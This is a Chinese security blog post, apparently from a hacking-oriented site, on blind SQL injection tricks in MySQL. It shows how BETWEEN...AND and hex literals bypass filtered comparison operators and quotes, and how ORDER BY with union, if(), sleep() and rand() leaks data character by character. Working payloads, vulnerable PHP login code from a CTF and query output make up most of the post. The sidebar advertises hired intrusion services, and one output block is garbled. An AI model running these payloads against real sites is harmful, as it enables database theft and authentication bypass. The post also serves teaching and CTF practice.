最近发现了两个关于sql注入的小trick,分享一下.
between and 操作符代替比较符
操作符 BETWEEN … AND 会选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
between and
有数据比较功能
exp1 between min and max
如果exp1的结果处于min和max之间,`between and`就返回`1`,反之返回`0`.
示例
mysql> select * from user;
+----+----------+----------------------------------+-------------------+ | id | username | password | email |
+----+----------+----------------------------------+-------------------+
| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com | | 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com |
| 3 | admin | 26fff50e6f9c6ca38e181c65c1531eca | 456456664@qq.com | | 4 | add | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
+----+----------+----------------------------------+-------------------+
mysql> select * from user where id between 1 and 2;
+----+----------+----------------------------------+-------------------+
| id | username | password | email | +----+----------+----------------------------------+-------------------+ | 1 | a | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
| 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com | +----+----------+----------------------------------+-------------------+
大多数数据库都支持between and
操作,但是对于边界的处理有所不同,在mysql中,between and
是包含边界的,在数学中也就是[min,max]
在盲注中应用
between and
可以用来在过滤了=
,like
, regexp
,>
,<
的情况下使用.
mysql> select database();
+------------+
| database() |
+------------+
| test |
+------------+
1 row in set (0.00 sec)
1. 配合截取函数使用
mysql> select mid(database(),1,1) between 'a' and 'a' ;
+-----------------------------------------+
| mid(database(),1,1) between 'a' and 'a' |
+-----------------------------------------+
| 0 |
+-----------------------------------------+ 1 row in set (0.00 sec)
mysql> select mid(database(),1,1) between 't' and 't' ;
+-----------------------------------------+
| mid(database(),1,1) between 't' and 't' |
+-----------------------------------------+
| 1 |
+-----------------------------------------+ 1 row in set (0.00 sec)
2. 截取函数被过滤
表达式
select exp between min and max
在截取字符函数被过滤的时候,设置min
和 max
的方式有所改变.
测试1
mysql> select 'b' between 'a' and 'c';
+-------------------------+
| 'b' between 'a' and 'c' |
+-------------------------+
| 1 |
+-------------------------+ 1 row in set (0.00 sec)
mysql> select 'b' between 'a' and 'b';
+-------------------------+
| 'b' between 'a' and 'b' |
+-------------------------+
| 1 |
+-------------------------+ 1 row in set (0.00 sec)
mysql> select 'b' between 'b' and 'c';
+-------------------------+
| 'b' between 'b' and 'c' |
+-------------------------+
| 1 |
+-------------------------+ 1 row in set (0.00 sec)
测试2
mysql> select 'bcd' between 'a' and 'c';
+---------------------------+
| 'bcd' between 'a' and 'c' |
+---------------------------+
| 1 |
+---------------------------+ 1 row in set (0.00 sec)
mysql> select 'bcd' between 'a' and 'b';
+---------------------------+
| 'bcd' between 'a' and 'b' |
+---------------------------+
| 0 |
+---------------------------+ 1 row in set (0.00 sec)
mysql> select 'bcd' between 'b' and 'c';
+---------------------------+
| 'bcd' between 'b' and 'c' |
+---------------------------+
| 1 |
+---------------------------+ 1 row in set (0.00 sec)
由测试可知,当exp
为单个字符时三种区间返回值都是1
,但是当exp
为字符串时,当区间为a-b
时,返回值为0
.区间为a-c
或者b-c
时,返回值为1
.
也就是在进行字符串比较时,只会包含一边的值,也就是[b,c)
.
所以在实际利用时,就要注意区间的范围.
实际测试
mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 'a' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+ 1 row in set (0.05 sec)
...
mysql> select database() between 't' and 'z';
+--------------------------------+
| database() between 't' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+ 1 row in set (0.00 sec)
mysql> select database() between 'u' and 'z';
+--------------------------------+
| database() between 'u' and 'z' |
+--------------------------------+
| 0 |
+--------------------------------+ 1 row in set (0.00 sec)
由结果可知,第一个字符为t
第二个字符
mysql> select database() between 'tatest
+----------------------------------+test
| database() between 'ta' and 'tz' |test
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'te' and 'tz';
+----------------------------------+
| database() between 'te' and 'tz' |
+----------------------------------+
| 1 |
+----------------------------------+ 1 row in set (0.00 sec)
mysql> select database() between 'tf' and 'tz';
+----------------------------------+
| database() between 'tf' and 'tz' |
+----------------------------------+
| 0 |
+----------------------------------+ 1 row in set (0.00 sec)
剩下的以此类推.最终为test
.
3. 单引号被过滤
between and
还支持16进制,所以可以用16进制,来绕过单引号的过滤.
测试
mysql> select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
+----------------------------------+ | database() between 0x61 and 0x7a | +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec)
mysql> select database() between 0x74 and 0x7a; //select database() between 't' and 'z';
+----------------------------------+ | database() between 0x74 and 0x7a | +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec)
mysql> select database() between 0x75 and 0x7a; //select database() between 'u' and 'z';
+----------------------------------+ | database() between 0x75 and 0x7a | +----------------------------------+ | 0 | +----------------------------------+ 1 row in set (0.00 sec)
了解order by
order by是mysql中对查询数据进行排序的方法,
使用示例
select * from 表名 order by 列名(或者数字) asc;升序(默认升序) select * from 表名 order by 列名(或者数字) desc;降序
这里的重点在于order by后既可以填列名或者是一个数字。举个例子:
id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:
select * from user order by id;
selecr * from user order by 1;
order by盲注
结合union来盲注
这个是在安恒杯月赛上看到的。
后台关键代码
$sql = 'select * from admin where username='".$username."''; $result = mysql_query($sql); $row = mysql_fetch_array($result); if(isset($row)&&row['username']!="admin"){ $hit="username error!";
}else{ if ($row['password'] === $password){ $hit="";
}else{ $hit="password error!";
}
}
payload
username=admin' union 1,2,'字符串' order by 3
sql语句就变为
select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;
这里就会对第三列进行比较,即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。
注意的是最好加上binary,因为order by比较的时候不区分大小写。
基于if()盲注
order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。
示例:
order by if(1=1,id,username);
这里如果使用数字代替列名是不行的,因为if语句返回的是字符类型,不是整型。
payload
order by if(表达式,1,(select id from information_schema.tables))
如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。
基于时间的盲注
payload
order by if(1=1,1,sleep(1))
测试结果
select * from ha order by if(1=1,1,sleep(1)); #正常时间 select * from ha order by if(1=2,1,sleep(1)); #有延迟
测试的时候发现延迟的时间并不是sleep(1)中的1秒,而是大于1秒。
最后发现延迟的时间和所查询的数据的条数是成倍数关系的。
计算公式:
延迟时间=sleep(1)的秒数*所查询数据条数
我所测试的ha表中有五条数据,所以延迟了5秒。如果查询的数据很多时,延迟的时间就会很长了。
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
基于rang()的盲注
原理不赘述了,直接看测试结果
mysql> select * from ha order by rand(true);
+----+------+ | id | name |
+----+------+
| 9 | NULL | | 6 | NULL |
| 5 | NULL | | 1 | dss |
| 0 | dasd | +----+------+
mysql> select * from ha order by rand(false);
+----+------+ | id | name |
+----+------+
| 1 | dss | | 6 | NULL |
| 0 | dasd | | 5 | NULL |
| 9 | NULL | +----+------+
可以看到当rang()为true和false时,排序结果是不同的,所以就可以使用rang()函数进行盲注了。
例
order by rand(ascii(mid((select database()),1,1))>96)
后记
order by
注入在crf里其实出现挺多了,一直没有总结过.这次比较全的整理了一下(自认为比较全.XD),就和between and
一起发出来了.欢迎师傅交流学习.
猜你还喜欢
- 07-08八年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 01-12批量检测SQL注入
- 01-22Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测
- 随机文章
-
- Ogg音频格式文件的样本构造(CVE-2018-5146)
- 利用CobaltStrike捆绑后门的艺术
- 论Nmap中一些常用的NSE脚本
- Project-Black:渗透中进行Scope控制或扫描和进度追踪的工具
- web.config文件上传技术研究
- 使用Google进行批量SQL注入扫描
- Findomain:一款基于透明日志来搜索子域名的跨平台工具
- 挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用
- 用Golang打造一款便携式网络拓扑可视化的工具
- 漏洞扫描技巧之Web漏洞扫描器研究
- HTTP被动扫描代理的那些事
- 针对MySQL数据库的勒索病毒预警
- Google.org点击劫持DOM XSS
- 记一次QQ本地快捷登录漏洞复现
- 当SQL注入遇到诡异的编码问题
- WordPress插件中的XSS漏洞的复现分析与利用
- phpStudy后门简要分析
- 域渗透总结
- metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳
- AuthCov:一款功能强大的开源Web应用程序授权爬行和扫描工具
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 渗透测试培训(第五期)
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
文章存档
- 2021年3月(4)
- 2020年12月(4)
- 2020年11月(5)
- 2020年10月(8)
- 2020年9月(8)
- 2020年8月(20)
- 2020年7月(47)
- 2020年6月(70)
- 2020年5月(41)
- 2020年4月(21)
- 2020年3月(120)
- 2020年2月(26)
- 2019年12月(12)
- 2019年11月(13)
- 2019年10月(17)
- 2019年9月(15)
- 2019年8月(13)
- 2019年7月(15)
- 2019年6月(15)
- 2019年5月(19)
- 2019年4月(23)
- 2019年3月(19)
- 2019年2月(11)
- 2019年1月(29)
- 2018年12月(24)
- 2018年11月(56)
- 2018年10月(79)
- 2018年9月(20)
- 2018年8月(17)
- 2018年7月(16)
- 2018年6月(7)
- 2018年5月(10)
- 2018年3月(6)
- 2018年2月(2)
- 2018年1月(11)
- 2017年11月(18)
- 2017年10月(6)
- 2017年9月(8)
- 2017年8月(7)
- 2017年7月(7)
- 2017年6月(15)
- 2017年5月(30)
- 2017年4月(7)
- 2017年3月(1)
- 2017年2月(4)
- 2017年1月(1)
- 2016年12月(3)
- 2016年11月(7)
- 2016年10月(6)
- 2016年9月(6)
- 2016年8月(102)
- 2016年7月(24)
- 2013年7月(1)
- 文章标签
-